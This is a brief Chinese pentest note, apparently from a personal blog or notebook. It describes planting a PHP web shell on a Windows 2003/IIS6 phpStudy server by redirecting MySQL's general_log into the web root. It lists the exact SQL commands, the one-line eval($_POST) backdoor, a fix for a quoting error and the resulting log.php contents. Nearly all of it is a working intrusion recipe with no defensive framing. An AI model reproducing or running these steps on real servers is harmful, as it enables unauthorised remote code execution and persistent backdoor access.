环境：win2003 、IIS6、PHP、asp、cgi-fcgi

1、set global general_log='on' 
2、set global general_log_file='c:\\phpstudy\\www\\log.php'   #一定使用 '\\'
3、select "<?php eval($_POST[0])?>"

出现时不时错误：

HTTP/1.1 500 Server Error
Date: Tue, 23 Jan 2018 01:38:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 105
PHP Notice:  Use of undefined constant （常量）shell - assumed 'shell' in C:\phpStudy4IIS\WWW\log.php on line 64

原因：[0]中0是常量，['0']中0是变量，所以应该是：<?php eval($_POST['0'])?>

log.php文件内容：
MySQLa, Version: 5.5.40 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
           96 Quit  
180123 10:20:47    97 Connect   root@localhost on 
           97 Query SET CHARACTER SET 'utf8'
           97 Query SET collation_connection = 'utf8_general_ci'
180123 10:20:48    97 Query SELECT "<?php eval($_POST['0'])?>"
           97 Init DB   mysql
           97 Query SHOW MASTER LOGS
           97 Quit  ......
                                ......